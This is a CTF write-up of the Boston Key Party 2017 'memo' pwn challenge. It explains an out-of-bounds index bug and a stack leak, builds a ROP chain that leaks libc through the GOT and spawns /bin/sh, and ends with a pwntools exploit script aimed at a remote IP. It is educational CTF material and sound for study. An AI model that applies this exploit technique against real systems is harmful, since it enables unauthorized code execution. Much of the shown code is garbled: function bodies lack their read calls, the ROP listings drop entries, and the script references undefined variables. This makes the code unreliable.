Rating:

[writeup by @abiondo]

**CTF:** Boston Key Party CTF 2017

**Team:** No Pwn Intended

**Points:** 300

We were given an ELF 64-bit binary of a simple memo taking application, along with its dynamically linked libc. checksec shows NX and full RELRO. Here's the relevant reversed parts:

c
// @ 0x602A00
size_t g_msg_index;
// @ 0x602A60
int g_msg_len[4];
char *g_msg_buf[5];
char **g_msg_stack[5];

// @ 0x400C04
{
char buf[8];

printf(prompt);

return atoi(buf);
}

// @ 0x400C52
void new_message()
{
char *buf; // @ bp - 16
size_t len;

buf = 0;
len = 0;

if (g_msg_buf[g_msg_index]) {
puts("can't use this index\n");
return;
}

if (g_msg_index > 4) {
puts("Index too large");
exit(1);
}

if (len > 32) {
puts("message too long, you can leave on memo though");
buf = malloc(32);
puts("");
} else {
buf = malloc(len);
printf("Message: ");
g_msg_buf[g_msg_index] = buf;
g_msg_stack[g_msg_index] = &buf;
g_msg_len[g_msg_index] = len;
puts("");
}
}

// @ 0x400DA8
void edit_message()
{
if (!g_msg_buf[g_msg_index]) {
puts("have to leave message first");
exit(1);
}

printf("Edit message: ");

puts("edited! this is edited message!");
printf("%s\n\n", (char *) &g_msg_buf[g_msg_index]);
}


new_message and edit_message are called by main when 1 or 2 (respectively) are entered as choices in the main menu. There's an obvious heap overflow in new_message when len > 32, we're going to ignore that (there are more heap vulnerabilities in other places, I didn't use them). Instead, we see that edit_message trusts the value of g_msg_index (i.e. the index of the most recent memo we worked on). new_message sets it *before* checking it, so by trying to create a new memo with a bogus index and then editing it we can trigger out-of-bound reads for g_msg_buf and g_msg_len. Also note that g_msg_len is of the wrong size, 4 instead of 5.

g_msg_buf immediately follows g_msg_len in memory, so (provided we pass the !g_msg_buf[g_msg_index] check) we can pass read an address as size, which will be a big number. Note that read reads *up to* the specified amount of bytes, so we can control how much we write. g_msg_stack follows g_msg_buf in memory, so we can make read write to a stack address in the now-defunct new_message stack frame. The base pointer for new_message and edit_message will be the same because they're both called from main and have the same arguments. Since the return address is at bp + 8 and buf in new_message is at bp - 16 we need 8 - (-16) = 24 filler bytes to reach the return address of edit_message. We now have RIP control.

Notice that g_msg_len is an array of ints, i.e. 4 bytes. The heap addresses in g_msg_buf are low and use the lower 32 bits, so we'll need the g_msg_len out-of-bounds to line up at a g_msg_buf element boundary (i.e. the edit index has to be even), otherwise we'll get a zero-length read. Also, the edit index has to be >= 5 to get to g_msg_stack. We'll create a memo with index 1, then set the index to 6, then edit sending our exploit buffer. This will result in read(0, g_msg_stack[1], ((size_t) (g_msg_buf[1])) & 0xFFFFFFFF).

There's also an address leak in edit_message, which is useful as the stack is randomized. The function prints the *address* of the memo buffer as a string instead of its content. In our out-of-bounds situation this will be the address of buf in the new_message frame, i.e. the address at which read writes our data. printf will stop at the first NUL byte. We know the top two bytes will be zero (because 64-bit addressing is really 48-bit). We assume the lower 6 bytes don't contain NULs, so we can leak them (and if they do, we just need to try again).

The binary has NX mitigation, so we need to build a ROP chain. Unfortunately libc is dynamically linked, so we can only call imported functions via PLT, and there's no system or exec* imported. Also, the binary has a small selection of gadgets and there are no syscall gadgets. We have the libc, so we can figure out the offset of e.g. system from any other function. The plan is to read the address of a libc function (I chose read) off the GOT, calculate the address of system and call system("/bin/sh"). Note also that, due to full RELRO, we can't overwite the GOT, so we can't return to PLT and we'll need a gadget to jump to an arbitrary address stored in a register or memory.

Due to the small gadget selection I couldn't find a way to calculate the address of system inside the ROP chain, so the plan became sending the address of read over the socket to my script, doing the calculation there and sending the address of system back to the ROP chain. We need gadgets to set the first three arguments (rdi, rsi, rdx) and to jump to an arbitrary location read off memory. I used the following gadgets:


# pop rdi; ret;
POP_RDI = 0x401263
# pop rsi; pop r15; ret;
POP_RSI_R15 = 0x401261
# pop rbp; ret;
POP_RBP = 0x400900
# pop rdx; mov eax, dword ptr [rbp - 4];
# mov rax, qword ptr [rax*8 + 0x401528]; jmp rax;
POP_RDX_JMP = 0x401192


The first three are self-explanatory (we'll see why we need POP_RBP shortly). The last one is a bit more complex and serves two purposes. First, it pops rdx off the stack, allowing us to set it. Then it does a jump through some indirections. It loads the dword eax from rbp - 4, then jumps to the address read from ((uint64_t) eax) * 8 + 0x401528. This allows us to jump to any address if we can place it somewhere in memory between 0x401528 and 0x800401520 at a 8-byte aligned offset from 0x401528. Say our jump address is stored at addr: to prepare the jump we place the dword (addr - 0x401528) / 8 at a known location eax_addr, then we use POP_RBP to set rbp to eax_addr + 4.

In the following listings each line is a 64-bit qword. The exploit buffer starts with 24 junk bytes to get to the return address. We then call puts to print the GOT entry for read (using write would've been better, but I was lazy and assumed there were no NULs in the bottom 48 bits):


POP_RDI
0x601fa8 # 1st arg, read() @ GOT
0x400818 # puts() @ PLT


Now we need to call read(0, some_writable_address, 8) to read back the address of system. I chose 0x602a00 (in BSS) as the writable address. We'll call read via the POP_RDX_JMP gadget (because we need to fill rdx). The address of read is placed at 0x601fa8 (in the GOT). We'll put (0x601fa8 - 0x401528) / 8 on the stack, after the ROP chain. We leaked stack addresses so we know where it's at, and we'll call its address eax_for_read_addr. I also placed a trivial call to getchar to avoid partial read issues with the connection (and because I'm paranoid).


0x400858 # getchar() @ PLT
POP_RDI
0 # 1st arg
POP_RSI_R15
0x602a00 # 2nd arg, writable address
0 # r15, junk
POP_RBP
POP_RDX_JMP
8 # 3rd arg


Great, now all we need to do is call system("/bin/sh"). The address of system is stored at 0x602a00. We calculate (0x602a00 - 0x401528) / 8 and put it on the stack at eax_for_system_addr. We also put a NUL-terminated string /bin/sh on the stack at binsh_addr.


POP_RDI
POP_RBP
POP_RDX_JMP
0 # rdx, junk


We finally get a shell:


\$ cat /home/memo/flag
bkp{you are a talented and ambitious hacker}


Full exploit code:

python
#!/usr/bin/python2

from pwn import *

p.recvuntil('name: ')
p.sendline(uname)
p.sendline('n')

def do_cmd(p, cmd):
p.recvuntil('>> ')
p.sendline(cmd)

def new_memo_set_index(p, idx):
do_cmd(p, '1')
p.recvuntil('Index: ')
p.sendline(str(idx))

def new_memo(p, idx, size, msg):
new_memo_set_index(p, idx)
p.recvuntil('Length: ')
p.sendline(str(size))
p.recvuntil('Message: ')
p.sendline(msg)

def edit_memo(p, msg):
do_cmd(p, '2')
p.recvuntil('Edit message: ')
p.sendline(msg)
p.recvuntil('message!\n')
leak = p.recv(6)
p.recvuntil('\n\n')
return u64(leak + '\x00\x00')

PUTS_PLT = 0x400818
GETCHAR_PLT = 0x400858
POP_RDI = 0x401263
POP_RSI_R15 = 0x401261
POP_RBP = 0x400900
# pop rdx; mov eax, dword ptr [rbp - 4];
# mov rax, qword ptr [rax*8 + 0x401528]; jmp rax;
POP_RDX_JMP = 0x401192

SYSTEM_READ_OFF = -0xb1620 # -0xb23c0 local

IDX_NEW = 1
IDX_EDIT = 6

context(arch='amd64', os='linux')

p = remote('54.202.7.144', 8888)

new_memo(p, IDX_NEW, 1, 'A')
new_memo_set_index(p, IDX_EDIT)

buf = 'A'*24

buf += p64(POP_RDI)
buf += p64(PUTS_PLT)
# getchar()
buf += p64(GETCHAR_PLT)
buf += p64(POP_RDI)
buf += p64(0)
buf += p64(POP_RSI_R15)
buf += p64(0) # r15, junk
buf += p64(POP_RBP)
buf += p64(POP_RDX_JMP)
buf += p64(8)
buf += p64(POP_RDI)
buf += p64(POP_RBP)
buf += p64(POP_RDX_JMP)
buf += p64(0) # rdx, junk

buf += p32((READ_GOT - 0x401528) / 8)
buf += p32((W_ADDR - 0x401528) / 8)
buf += '/bin/sh\x00'

edit_memo(p, buf)